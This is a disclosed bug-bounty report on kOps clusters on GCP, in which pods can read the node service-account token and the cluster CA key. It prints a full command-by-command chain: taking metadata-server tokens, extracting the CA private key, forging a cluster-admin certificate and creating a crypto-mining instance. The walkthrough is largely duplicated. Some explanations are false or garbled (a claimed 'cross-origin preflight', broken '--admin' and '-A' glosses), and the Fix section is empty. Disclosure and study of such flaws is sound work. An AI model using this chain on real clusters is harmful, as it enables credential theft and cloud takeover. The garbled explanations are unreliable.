Privilege Escalation in kOps using GCE/GCP Provider
kOps on GCP gives all nodes access to the state storage bucket via the instance service account, allowing any pod with shell access to read the bucket and obtain the cluster CA private key. An attacker can then generate a client certificate for the system:masters group and gain cluster-admin privileges, and from there access the control-plane node's privileged GCP service account to compromise other GCP resources.
- Triaged in 5 months
- Fixed in 5 months
- Paid in 40 days
- Disclosed after 6 months
Summary:
When using kOps with the GCP provider, it is possible for a user with shell access to any pod, to escalate their privileges to cluster admin. During provisioning of the cluster, kOps gives all nodes access to the state storage bucket through the service account associated with the instance. Any user with shell access can request the service account credentials, and read sensitive information from the state store. Using this information, the user can privesc to cluster admin, compromising the entire cluster. It is further possible to compromise a privileged GCP service account associated with the control-plane nodes and takeover other resources in the GCP project.
Kubernetes Version:
Kubernetes: v1.25.5
Component Version:
kOps: v1.25.3
Steps To Reproduce:
Cluster Setup:
The test cluster was setup as close to the getting started guide as possible.
export KOPS_STATE_STORE=gs://kops-state-test/
export PROJECT=`gcloud config get-value project`
gsutil mb $KOPS_STATE_STORE
kops create cluster kops.k8s.local --zones europe-west1-b --state ${KOPS_STATE_STORE} --project=$PROJECT --master-size=n1-standard-2 --node-size=n1-standard-2
kops update cluster --name kops.k8s.local --yes --admin
kops validate cluster --wait 10m
Privesc
- Add a demo container in which user is allow shell access (manifest attached):
k apply -f shell.yaml - Give ourselves a shell:
k exec -it shell-5d64dd647c-8l8s6 -it -- ash - Grab the service account token and state bucket name
pod$ wget --header 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -O default.token
pod$ wget --header 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script -O- | grep ConfigBase
- Copy file back to the host
k cp shell-5d64dd647c-8l8s6:/default.token default.token
- Ensure normal gcloud auth not in use and set token environment var
gcloud auth revoke
export CLOUDSDK_AUTH_ACCESS_TOKEN=$(jq .access_token -r ./default.token)
- Grab the kubernetes CA keys
mkdir -p keys
gcloud storage cat gs://kops-state-test/kops.k8s.local/pki/private/kubernetes-ca/keyset.yaml | yq e '.spec.keys[0].privateMaterial' - | base64 -d > keys/ca.key
gcloud storage cat gs://kops-state-test/kops.k8s.local/pki/private/kubernetes-ca/keyset.yaml | yq e '.spec.keys[0].publicMaterial' - | base64 -d > keys/ca.pem
- Generate system:masters cert (csr.json template attached)
cd keys
cfssl gencert -ca=ca.pem -ca-key=ca.key -profile=kubernetes csr.json | cfssljson -bare user
- Construct new kubeconfig
export KUBECONFIG=./pwn.kconfig
k config set-credentials pwn --client-certificate=user.pem --client-key=user-key.pem
k config set-cluster kops --certificate-authority=ca.pem --server=https://<kops-ip>
k config set-context pwn@kops --cluster=kops --user=pwn
k config use-context pwn@kops
- Check we are cluster-admin
k auth can-i '*' '*' -A - Deploy a pod on the master node (example manifest included), make sure to edit to the correct node name
k apply -f shell-master.yaml - Give ourselves a shell:
k exec -it shell-78d66f6f7c-ft7ch -it -- ash - Grab the privileged GCP service account token
pod$ wget --header 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -O admin.token
- Copy the token back to our host
k cp shell-78d66f6f7c-ft7ch:/admin.token admin.token
- Set our credentials
export CLOUDSDK_AUTH_ACCESS_TOKEN=$(jq .access_token -r ./admin.token)
- Run a cryptominer ....
gcloud compute instances create miner --image-family=ubuntu-2204-lts --zone=europe-west1-b --image-project=ubuntu-os-cloud
Supporting Material/References:
- shell.yaml - basic alpine deployment to simulator a user with shell access
- shell-master.yaml - similar simple deployment, targeting a master node
- csr.json - used to configure cfssl to generate the malicious system:masters mTLS certs
- auth-can-i.png - proof we have cluster admin
- miner.png - proof we can spin up arbitrary instances
- Kubernetes Engine Service Agent Role
Tools used
Impact
Once the attacker has compromised the cluster, they have access to all cluster resources. This includes any secrets/data stored by the cluster and also any secrets/data that is accessible by any GCP service accounts in use by the cluster. As the attacker is able to compromise the cluster, they can compromise the master nodes. In GCE kOps, the master node service accounts have the "Kubernetes Engine Service Agent" role, which is highly permissive, and would likely allow the compromise of other resources in the GCP project. Since the role has compute create permissions, it could also be abused for attacks such as crypto-mining.
Attachments


Context
kOps is a tool for provisioning and managing Kubernetes clusters, and it supports several cloud providers. This report concerns the GCE/GCP provider. When kOps provisions a cluster on GCP, it stores cluster state in a GCS bucket, the state store, and it associates a service account with each node instance. The report shows that this design lets anyone who can run a shell inside any pod read the node's service account credentials and the state store, and from there escalate to cluster admin and to a privileged GCP service account.
The affected component is the kOps repository, https://github.com/kubernetes/kops. The researcher rated the issue high severity (CVSS 8.0) and the weakness as privilege escalation. The report was disclosed on 2023-08-04 and a bounty of 2,500 USD was paid.
Setup
The versions in use were:
| Component | Version |
|---|---|
| Kubernetes | v1.25.5 |
| kOps | v1.25.3 |
The test cluster was set up as close to the kOps getting started guide for GCE as possible. The state store is a GCS bucket, and the cluster is created with the GCP provider, a single zone, and n1-standard-2 machine types for both masters and nodes:
export KOPS_STATE_STORE=gs://kops-state-test/
export PROJECT=`gcloud config get-value project`
gsutil mb $KOPS_STATE_STORE
kops create cluster kops.[redacted] --zones europe-west1-b --state ${KOPS_STATE_STORE} --project=$PROJECT --master-size=n1-standard-2 --node-size=n1-standard-2
kops update cluster --name kops.[redacted] --yes --admin
kops validate cluster --wait 10m
The tools used were cfssl and yq. The supporting material listed in the report is a shell.yaml (a basic alpine deployment simulating a user with shell access), a shell-master.yaml (a similar deployment targeting a master node), a csr.json used to configure cfssl to generate the malicious system:masters mTLS certificates, and two screenshots as proof.
The precondition is shell access to any pod in the cluster. The report does not describe how that access is obtained; it is the starting assumption.
Finding it
The observation is that during provisioning kOps gives all nodes access to the state storage bucket through the service account associated with the instance. A pod running on a node can therefore reach the GCE metadata server and request that service account's credentials. With those credentials it can read the state store, which holds the cluster's private PKI material. That material is enough to mint a client certificate for system:masters and become cluster admin. Because the control-plane nodes carry a privileged GCP service account, the escalation does not stop at the cluster boundary.
Exploitation
Step 1: deploy a pod with a shell
A demo container in which the user is allowed shell access is deployed from the attached manifest:
k apply -f shell.yaml
Step 2: open a shell in the pod
k exec -it shell-5d64dd647c-8l8s6 -it -- ash
Step 3: take the service account token and the state bucket name
Inside the pod, the metadata server is queried for the default service account token, and the instance's startup script is read to find the configured state store location:
pod$ wget --header 'Metadata-Flavor: Google' http://metadata.[redacted]/computeMetadata/v1/instance/service-accounts/default/token -O default.token
pod$ wget --header 'Metadata-Flavor: Google' http://metadata.[redacted]/computeMetadata/v1/instance/attributes/startup-script -O- | grep ConfigBase
The Metadata-Flavor: Google header is what the GCE metadata server requires. The first request returns the node's OAuth access token; the second returns the startup script, from which the ConfigBase line reveals the state store path.
Step 4: copy the token to the host
k cp shell-5d64dd647c-8l8s6:/default.token default.token
Step 5: authenticate gcloud with the stolen token
Normal gcloud authentication is revoked first so that the stolen token is the only credential in play, then the access token is extracted from the JSON response with jq:
gcloud auth revoke
export CLOUDSDK_AUTH_ACCESS_TOKEN=$(jq .access_token -r ./default.token)
Step 6: read the Kubernetes CA keys from the state store
The private and public material of the kubernetes-ca keyset are pulled from the bucket, decoded from base64, and written to keys/ca.key and keys/ca.pem:
mkdir -p keys
gcloud storage cat gs://kops-state-test/kops.[redacted]/pki/private/kubernetes-ca/keyset.yaml | yq e '.spec.keys[0].privateMaterial' - | base64 -d > keys/ca.key
gcloud storage cat gs://kops-state-test/kops.[redacted]/pki/private/kubernetes-ca/keyset.yaml | yq e '.spec.keys[0].publicMaterial' - | base64 -d > keys/ca.pem
Step 7: generate a system:masters certificate
With the CA key and certificate, cfssl signs a CSR using the kubernetes profile:
cd keys
cfssl gencert -ca=ca.pem -ca-key=ca.key -profile=kubernetes csr.json | cfssljson -bare user
Step 8: build a new kubeconfig
A fresh kubeconfig is assembled around the forged client certificate and the cluster CA:
export KUBECONFIG=./pwn.kconfig
k config set-credentials pwn --client-certificate=user.pem --client-key=user-key.pem
k config set-cluster kops --certificate-authority=ca.pem --server=https://<kops-ip>
k config set-context pwn@kops --cluster=kops --user=pwn
k config use-context pwn@kops
Step 9: confirm cluster admin
k auth can-i '*' '*' -A
The screenshot auth-can-i.png is the proof that the forged identity holds cluster admin.

Step 10: deploy a pod on a master node
A second manifest is applied, edited to target the correct master node name:
k apply -f shell-master.yaml
Step 11: open a shell on the master
k exec -it shell-78d66f6f7c-ft7ch -it -- ash
Step 12: take the privileged service account token
From inside the pod on the master, the metadata server is queried again, this time saving the token as admin.token:
pod$ wget --header 'Metadata-Flavor: Google' http://metadata.[redacted]/computeMetadata/v1/instance/service-accounts/default/token -O admin.token
Step 13: copy it back to the host
k cp shell-78d66f6f7c-ft7ch:/admin.token admin.token
Step 14: use the privileged credentials
export CLOUDSDK_AUTH_ACCESS_TOKEN=$(jq .access_token -r ./admin.token)
Step 15: create an arbitrary instance
With the master's service account, a new compute instance is created, which the report uses to demonstrate crypto-mining:
gcloud compute instances create miner --image-family=ubuntu-2204-lts --zone=europe-west1-b --image-project=ubuntu-os-cloud
The screenshot miner.png is the proof that arbitrary instances can be spun up.

Root cause
The design flaw is that every node's instance service account is granted access to the state storage bucket, and the state store contains the cluster's private CA material. A pod on any node can reach the metadata server, so any user with shell access in any pod inherits that bucket access. The cluster PKI is stored alongside the state, so read access to the bucket is equivalent to the ability to issue a system:masters client certificate. The report does not describe any additional control that would have prevented the metadata request or limited the node service account's bucket permissions.
The second half of the chain is the IAM role attached to the control-plane nodes. In GCE kOps, master node service accounts have the "Kubernetes Engine Service Agent" role, which the report describes as highly permissive. That role includes compute create permissions, which is what allows the final step.
Impact
Once the attacker has compromised the cluster, they have access to all cluster resources, including any secrets and data stored by the cluster and any secrets and data accessible by any GCP service accounts in use by the cluster. Because the attacker can compromise the cluster, they can compromise the master nodes. The master node service accounts carry the "Kubernetes Engine Service Agent" role, which would likely allow compromise of other resources in the GCP project. Since the role has compute create permissions, it could also be abused for attacks such as crypto-mining. All of this depends on the attacker first having shell access to a pod.
Fix
Variants to test
- Other kOps providers and state backends: check whether node instance roles can read the state store and whether the PKI lives there. A positive result is a node credential that can list and read the
pki/privatepath. - Other managed Kubernetes distributions on GCP: check whether pods can reach the metadata server and what the node service account can do. A positive result is a token from a pod that can read cluster state or create compute resources.
- Metadata server reachability from pods: test whether the metadata endpoint is blocked by network policy or workload identity. A positive result is a successful token request from an ordinary pod.
- Control-plane node IAM roles: enumerate the permissions of the master node service account. A positive result is a permission such as compute instance creation that is not needed for cluster operation.
Hunting notes
This class of bug hides where cloud provisioning meets cluster PKI: the state store, the node instance profile, and the metadata server. During recon, look for clusters whose state bucket is reachable from node credentials, and for node service accounts with broad storage or compute permissions. The researcher demonstrated impact in stages: first k auth can-i '*' '*' -A to show cluster admin, then creation of a compute instance to show project-level reach. That progression, with a screenshot for each stage, is what made the chain concrete for the program.
What happened, in plain words
Imagine a large office building. Every employee has a key card that opens their own floor, but the building manager accidentally gave every key card a copy of the master key to the safe room. Anyone who can get inside the building at all, even as a cleaner, can walk to the safe room and take what is inside.
That is roughly what this report describes, but for a computer system. A tool called kOps builds and manages Kubernetes clusters on cloud computers. A Kubernetes cluster is a group of machines that run small programs called containers (or pods). kOps can run these clusters on GCP (Google Cloud Platform), Google's cloud service.
The researcher found that when kOps sets up a cluster on GCP, it gives every machine in the cluster a set of cloud credentials (a service account) that can read the cluster's central storage area (the state store). That storage area contains the cluster's most sensitive secret: the private certificate authority keys, which are the digital equivalent of a master key that proves who you are to the cluster.
So anyone who can get a command prompt (a shell) inside any pod can ask the cloud machine for its credentials, read the state store, steal the master key, and then make themselves the cluster's top administrator. From there they can also reach a more powerful cloud account used by the cluster's control machines and create new cloud servers, for example to mine cryptocurrency at someone else's expense.
The report was rated high severity (CVSS 8.0), the weakness was classified as privilege escalation (gaining more power than you should have), it was disclosed on 2023-08-04, and a bounty of 2,500 USD was paid.
The pieces you need to know
Before walking through the steps, here are the main ideas, explained from zero.
- Kubernetes: software that runs and organises containers across many machines. Think of it as the operating system of a data centre.
- Pod: the smallest unit Kubernetes runs. A pod usually holds one container, which is a packaged program with everything it needs to run. If you can open a shell in a pod, you can type commands inside that container.
- kOps: a tool that creates and manages Kubernetes clusters, including all the cloud machines, network settings and storage they need. It supports several cloud providers; this report is about the GCP one.
- GCP / GCE: Google Cloud Platform, and Google Compute Engine, its service for renting virtual machines (servers in Google's data centres).
- GCS bucket: Google Cloud Storage, a place to store files in the cloud. A bucket is like a folder in the sky that many machines can read and write.
- State store: the bucket where kOps keeps everything it needs to remember about a cluster: its configuration, its keys, its certificates. If you can read it, you can learn a lot.
- Service account: a cloud identity for a machine rather than a person. It comes with permissions, and it can hand out a token (a temporary password) so the machine can prove who it is.
- Metadata server: a special web address that only the cloud machine itself can reach, at
http://metadata.[redacted]. Programs running on the machine can ask it questions about the machine, including "what is my service account token?". - Token: a short string of characters that acts like a temporary password. Whoever holds it can act as the identity it belongs to until it expires.
- API: an interface that lets one program talk to another. When you run a command like
gcloud storage cat, your computer is calling Google's API over the internet. - Certificate authority (CA): an entity that signs digital certificates. A certificate is like a passport: it says who you are, and the CA's signature is the stamp that makes it trustworthy. If you have the CA's private key, you can create passports for anyone, including a fake administrator.
- kubeconfig: a small file that tells the
kcommand (short forkubectl) which cluster to talk to and which identity to use. - Privilege escalation: any bug that lets someone with limited access gain more access than they were given.
Setup
The versions in use were:
| Component | Version |
|---|---|
| Kubernetes | v1.25.5 |
| kOps | v1.25.3 |
The test cluster was set up as close to the kOps getting started guide for GCE as possible. The state store is a GCS bucket, and the cluster is created with the GCP provider, a single zone, and n1-standard-2 machine types for both masters and nodes:
export KOPS_STATE_STORE=gs://kops-state-test/
export PROJECT=`gcloud config get-value project`
gsutil mb $KOPS_STATE_STORE
kops create cluster kops.[redacted] --zones europe-west1-b --state ${KOPS_STATE_STORE} --project=$PROJECT --master-size=n1-standard-2 --node-size=n1-standard-2
kops update cluster --name kops.[redacted] --yes --admin
kops validate cluster --wait 10m
Line by line:
export KOPS_STATE_STORE=gs://kops-state-test/saves the address of the storage bucket in a variable calledKOPS_STATE_STORE, so later commands can refer to it by name instead of retyping the address.export PROJECT=gcloud config get-value project`` asks the Google Cloud command line tool which project is currently selected and stores that answer in a variable calledPROJECT. A project is a container for all the cloud resources belonging to one account or organisation.gsutil mb $KOPS_STATE_STOREcreates (mbmeans make bucket) the storage bucket at the address saved above.kops create cluster ...writes the plan for a new cluster calledkops.[redacted]. It says to put the machines in theeurope-west1-bzone, to keep state in the bucket, to use the chosen project, and to usen1-standard-2machine sizes for both the master machines (which control the cluster) and the worker nodes (which run the pods).kops update cluster ... --yes --adminactually builds the cluster. The--yesskips the confirmation prompt, and and--adminis passed as an optionkops validate cluster --wait 10mchecks that the cluster came up correctly, waiting up to ten minutes.
The tools used were cfssl and yq. The supporting material listed in the report is a shell.yaml (a basic alpine deployment simulating a user with shell access), a shell-master.yaml (a similar deployment targeting a master node), a csr.json used to configure cfssl to generate the malicious system:masters mTLS certificates, and two screenshots as proof.
The precondition is shell access to any pod in the cluster. The report does not describe how that access is obtained; it is the starting assumption.
Finding it
The observation is that during provisioning kOps gives all nodes access to the state storage bucket through the service account associated with the instance. A pod running on a node can therefore reach the GCE metadata server and request that service account's credentials. With those credentials it can read the state store, which holds the cluster's private PKI material. That material is enough to mint a client certificate for system:masters and become cluster admin. Because the control-plane nodes carry a privileged GCP service account, the escalation does not stop at the cluster boundary.
In everyday terms: the building's key cards all open the safe room, and the safe room contains the stamp used to print new key cards. Once you have the stamp, you can print yourself a card that says "administrator".
Exploitation
Step 1: deploy a pod with a shell
A demo container in which the user is allowed shell access is deployed from the attached manifest:
k apply -f shell.yaml
k is a short name for kubectl, the command line tool for talking to Kubernetes. apply -f shell.yaml tells the cluster to create whatever is described in the file shell.yaml. The report describes that file as a basic alpine deployment (Alpine is a very small Linux distribution) that simulates a user who has shell access. In other words, this step puts a small computer inside the cluster that the attacker can type commands into.
Step 2: open a shell in the pod
k exec -it shell-5d64dd647c-8l8s6 -it -- ash
k exec runs a command inside an existing pod. -i keeps the input stream open and -t allocates a terminal, so you get a live prompt you can type into. shell-5d64dd647c-8l8s6 is the name of the pod that was just created. -- ash is the command to run inside it: ash, a simple Unix shell. The result is a prompt inside the container, shown in later commands as pod$.
Step 3: take the service account token and the state bucket name
Inside the pod, the metadata server is queried for the default service account token, and the instance's startup script is read to find the configured state store location:
pod$ wget --header 'Metadata-Flavor: Google' http://metadata.[redacted]/computeMetadata/v1/instance/service-accounts/default/token -O default.token
pod$ wget --header 'Metadata-Flavor: Google' http://metadata.[redacted]/computeMetadata/v1/instance/attributes/startup-script -O- | grep ConfigBase
Line by line:
wgetis a program that downloads things from web addresses. The first command downloads the addresshttp://metadata.[redacted]/computeMetadata/v1/instance/service-accounts/default/token, which is the metadata server's way of saying "give me the token for the default service account of this machine". The--header 'Metadata-Flavor: Google'part adds a small label to the request; the metadata server requires it, and it is a custom header that forces a cross-origin preflight check.-O default.tokensaves the answer into a file calleddefault.token.- The second command downloads the machine's startup script, which is the list of commands the cloud ran when the machine first booted.
-O-means print the answer to the screen instead of saving it. The|symbol pipes that output intogrep ConfigBase, which filters the text down to lines containing the wordConfigBase. That line reveals where the cluster keeps its state, in other words the state store path.
The Metadata-Flavor: Google header is what the GCE metadata server requires. The first request returns the node's OAuth access token; the second returns the startup script, from which the ConfigBase line reveals the state store path.
Why this works: the metadata server is reachable from the cloud machine and from workloads running on it, but a pod runs on that machine, so from the pod's point of view the metadata server is just another web address. Nothing in the default setup stops the pod from asking.
Step 4: copy the token to the host
k cp shell-5d64dd647c-8l8s6:/default.token default.token
k cp copies files between your own computer and a pod. Here it copies the file /default.token from inside the pod named shell-5d64dd647c-8l8s6 to a file called default.token on the attacker's own machine. The attacker needs the token outside the pod because the next steps use Google Cloud tools that run on the attacker's computer.
Step 5: authenticate gcloud with the stolen token
Normal gcloud authentication is revoked first so that the stolen token is the only credential in play, then the access token is extracted from the JSON response with jq:
gcloud auth revoke
export CLOUDSDK_AUTH_ACCESS_TOKEN=$(jq .access_token -r ./default.token)
Line by line:
gcloud auth revokelogs out the attacker's own Google account from thegcloudtool. This matters because if the attacker's own account were still active, the next commands might use it instead of the stolen token, and the test would prove nothing.export CLOUDSDK_AUTH_ACCESS_TOKEN=...sets an environment variable that tellsgcloudto use a specific access token instead of a normal login. The value comes fromjq .access_token -r ./default.token, which reads the file saved in step 4, picks out the field namedaccess_token, and prints it as raw text. The token file is in JSON format, a common way of writing structured data as text.
After this, every gcloud command runs as the node's service account, not as the attacker.
Step 6: read the Kubernetes CA keys from the state store
The private and public material of the kubernetes-ca keyset are pulled from the bucket, decoded from base64, and written to keys/ca.key and keys/ca.pem:
mkdir -p keys
gcloud storage cat gs://kops-state-test/kops.[redacted]/pki/private/kubernetes-ca/keyset.yaml | yq e '.spec.keys[0].privateMaterial' - | base64 -d > keys/ca.key
gcloud storage cat gs://kops-state-test/kops.[redacted]/pki/private/kubernetes-ca/keyset.yaml | yq e '.spec.keys[0].publicMaterial' - | base64 -d > keys/ca.pem
Line by line:
mkdir -p keyscreates a folder calledkeysto hold the stolen files. The-pcreates parent directories as needed and does not complain if the folder already exists.gcloud storage cat gs://...prints the contents of a file stored in the bucket. The file iskeyset.yaml, which holds the cluster's certificate authority keys.yq e '.spec.keys[0].privateMaterial' -reads that YAML text (a human friendly data format) and picks out the first key's private material.base64 -ddecodes it, because the key is stored in base64, a way of writing binary data as plain letters and digits.> keys/ca.keysaves the result to a file. This is the private key, the master stamp.- The third command does the same for
publicMaterial, saving the public certificate tokeys/ca.pem. The public part is what the cluster uses to check signatures; the private part is what makes them.
Why this matters: the attacker's stolen token can read the bucket, and the bucket contains the private key. That single fact is the heart of the bug.
Step 7: generate a system:masters certificate
With the CA key and certificate, cfssl signs a CSR using the kubernetes profile:
cd keys
cfssl gencert -ca=ca.pem -ca-key=ca.key -profile=kubernetes csr.json | cfssljson -bare user
Line by line:
cd keysmoves into the folder holding the stolen keys.cfssl gencertis a command from the cfssl tool that creates a new certificate.-ca=ca.pemsays which certificate authority to use, and-ca-key=ca.keysays which private key signs it.-profile=kubernetesuses a preset that produces a certificate suitable for Kubernetes.csr.jsonis a file describing what the new certificate should say; the report's supporting material describes it as the file used to configure cfssl to generate the malicioussystem:masterscertificates. A CSR is a certificate signing request, a form you fill in to ask a CA for a certificate.| cfssljson -bare usertakes the output and writes it to files whose names start withuser, producinguser.pem(the certificate) anduser-key.pem(its private key).
system:masters is a special group name in Kubernetes. Members of that group are cluster administrators. Because the attacker signed the certificate with the cluster's own CA, the cluster will believe it.
Step 8: build a new kubeconfig
A fresh kubeconfig is assembled around the forged client certificate and the cluster CA:
export KUBECONFIG=./pwn.kconfig
k config set-credentials pwn --client-certificate=user.pem --client-key=user-key.pem
k config set-cluster kops --certificate-authority=ca.pem --server=https://<kops-ip>
k config set-context pwn@kops --cluster=kops --user=pwn
k config use-context pwn@kops
Line by line:
export KUBECONFIG=./pwn.kconfigtellskubectlto use a new, empty configuration file calledpwn.kconfiginstead of the normal one.k config set-credentials pwn ...saves a login calledpwnthat uses the forged certificate and its private key.k config set-cluster kops ...saves the address of the cluster (the report writes it ashttps://<kops-ip>, a placeholder for the cluster's address) and the CA certificate used to verify it.k config set-context pwn@kops ...combines the login and the cluster into a named pair, a context, so they can be selected together.k config use-context pwn@kopsmakes that pair the active one.
After this, every kubectl command the attacker runs is sent to the cluster as the forged administrator.
Step 9: confirm cluster admin
k auth can-i '*' '*' -A
k auth can-i asks the cluster "am I allowed to do this?". '*' '*' means "any action on any resource", and (a namespace is a way of dividing a cluster into sections). If the answer is yes, the forged certificate really is an administrator.
The screenshot auth-can-i.png is the proof that the forged identity holds cluster admin.

Step 10: deploy a pod on a master node
A second manifest is applied, edited to target the correct master node name:
k apply -f shell-master.yaml
This is the same idea as step 1, but the file shell-master.yaml is written so that the pod runs on a master node, one of the machines that controls the cluster. The attacker can do this now because they are cluster admin. The report notes that the file must be edited to the correct node name first.
Step 11: open a shell on the master
k exec -it shell-78d66f6f7c-ft7ch -it -- ash
Same as step 2, but for the new pod on the master node. The pod name is different because it is a different pod.
Step 12: take the privileged service account token
From inside the pod on the master, the metadata server is queried again, this time saving the token as admin.token:
pod$ wget --header 'Metadata-Flavor: Google' http://metadata.[redacted]/computeMetadata/v1/instance/service-accounts/default/token -O admin.token
This is the same request as in step 3, but now it runs on a master machine. Master machines have a more powerful service account than ordinary worker nodes, so the token it returns carries more permissions in the Google Cloud project. Saving it as admin.token keeps it separate from the first token.
Step 13: copy it back to the host
k cp shell-78d66f6f7c-ft7ch:/admin.token admin.token
Same as step 4: copy the file out of the pod onto the attacker's machine, so the cloud tools can use it.
Step 14: use the privileged credentials
export CLOUDSDK_AUTH_ACCESS_TOKEN=$(jq .access_token -r ./admin.token)
Same as step 5: extract the token from the JSON file and tell gcloud to use it. From now on, the attacker is acting as the master node's service account.
Step 15: create an arbitrary instance
With the master's service account, a new compute instance is created, which the report uses to demonstrate crypto-mining:
gcloud compute instances create miner --image-family=ubuntu-2204-lts --zone=europe-west1-b --image-project=ubuntu-os-cloud
Line by line:
gcloud compute instances create minerasks Google to create a new virtual machine calledminer.--image-family=ubuntu-2204-ltssays which operating system to install: Ubuntu 22.04 long term support.--zone=europe-west1-bsays where to put it, the same zone as the cluster.--image-project=ubuntu-os-cloudsays which Google project publishes that operating system image.
If this command succeeds, the attacker can create servers in the victim's cloud account and make the victim pay for them. Crypto-mining means using someone else's computers to earn cryptocurrency, which costs the victim money in electricity and cloud bills.
The screenshot miner.png is the proof that arbitrary instances can be spun up.

Root cause
The design flaw is that every node's instance service account is granted access to the state storage bucket, and the state store contains the cluster's private CA material. A pod on any node can reach the metadata server, so any user with shell access in any pod inherits that bucket access. The cluster PKI is stored alongside the state, so read access to the bucket is equivalent to the ability to issue a system:masters client certificate. The report does not describe any additional control that would have prevented the metadata request or limited the node service account's bucket permissions.
The second half of the chain is the IAM role attached to the control-plane nodes. IAM stands for Identity and Access Management, Google's system for deciding who may do what. In GCE kOps, master node service accounts have the "Kubernetes Engine Service Agent" role, which the report describes as highly permissive. That role includes compute create permissions, which is what allows the final step.
In everyday terms: the safe room key was handed to everyone, and the master machines were also given a company credit card with no spending limit.
Impact
Once the attacker has compromised the cluster, they have access to all cluster resources, including any secrets and data stored by the cluster and any secrets and data accessible by any GCP service accounts in use by the cluster. Because the attacker can compromise the cluster, they can compromise the master nodes. The master node service accounts carry the "Kubernetes Engine Service Agent" role, which would likely allow compromise of other resources in the GCP project. Since the role has compute create permissions, it could also be abused for attacks such as crypto-mining. All of this depends on the attacker first having shell access to a pod.
Fix
Variants to test
- Other kOps providers and state backends: check whether node instance roles can read the state store and whether the PKI lives there. A positive result is a node credential that can list and read the
pki/privatepath. - Other managed Kubernetes distributions on GCP: check whether pods can reach the metadata server and what the node service account can do. A positive result is a token from a pod that can read cluster state or create compute resources.
- Metadata server reachability from pods: test whether the metadata endpoint is blocked by network policy or workload identity. A positive result is a successful token request from an ordinary pod.
- Control-plane node IAM roles: enumerate the permissions of the master node service account. A positive result is a permission such as compute instance creation that is not needed for cluster operation.
Hunting notes
This class of bug hides where cloud provisioning meets cluster PKI: the state store, the node instance profile, and the metadata server. During recon, look for clusters whose state bucket is reachable from node credentials, and for node service accounts with broad storage or compute permissions. The researcher demonstrated impact in stages: first k auth can-i '*' '*' -A to show cluster admin, then creation of a compute instance to show project-level reach. That progression, with a screenshot for each stage, is what made the chain concrete for the program.
Glossary
- API: an interface that lets one program talk to another, usually over the internet.
- Base64: a way of writing binary data using only plain letters, digits and a few symbols, so it can travel safely as text.
- Certificate: a digital document that says who someone is, signed by an authority others trust.
- Certificate authority (CA): an entity that signs certificates. Its private key is the stamp that makes certificates trustworthy.
- cfssl: a tool for creating and signing certificates.
- Cluster: a group of machines working together, in this case to run containers.
- Cluster admin: the highest level of permission inside a Kubernetes cluster.
- Container: a packaged program with everything it needs to run, isolated from the rest of the machine.
- Context (kubeconfig): a saved pairing of a cluster and a login, so
kubectlknows where to connect and as whom. - CSR: certificate signing request, a form asking a CA to issue a certificate.
- CVSS: a standard score for how severe a security bug is, from 0 to 10.
- GCE: Google Compute Engine, Google's service for renting virtual machines.
- GCP: Google Cloud Platform, Google's collection of cloud services.
- GCS bucket: a storage folder in Google Cloud Storage.
- gcloud: Google's command line tool for managing cloud resources.
- IAM: Identity and Access Management, the system that decides who may do what in a cloud account.
- JSON: a common text format for structured data, using curly braces and key/value pairs.
- jq: a command line tool for picking values out of JSON text.
- kOps: a tool that creates and manages Kubernetes clusters, including their cloud machines and storage.
- kubeconfig: a file telling
kubectlwhich cluster to talk to and which identity to use. - kubectl (k): the command line tool for talking to a Kubernetes cluster.
- Manifest: a file describing what should exist in a cluster, such as a pod.
- Metadata server: a web address reachable only from inside a cloud machine that answers questions about that machine, including its service account token.
- mTLS: mutual TLS, where both sides of a connection present certificates to prove who they are.
- Namespace: a way of dividing a Kubernetes cluster into sections.
- OAuth access token: a temporary credential that proves an identity to a service.
- PKI: public key infrastructure, the system of keys and certificates used to prove identities.
- Pod: the smallest unit Kubernetes runs, usually one container.
- Privilege escalation: a bug that lets someone with limited access gain more access than they were given.
- Profile (cfssl): a preset describing what kind of certificate to create.
- Project (GCP): a container for all cloud resources belonging to one account or organisation.
- Role: a named set of permissions in a cloud account.
- Shell: a text prompt where you type commands for a computer to run.
- State store: the storage bucket where kOps keeps a cluster's configuration, keys and certificates.
- system:masters: a special Kubernetes group whose members are cluster administrators.
- Token: a short string that acts like a temporary password.
- yq: a command line tool for picking values out of YAML text.
- YAML: a human friendly text format for structured data, using indentation.
- Zone: a physical location within a cloud region where machines can be placed.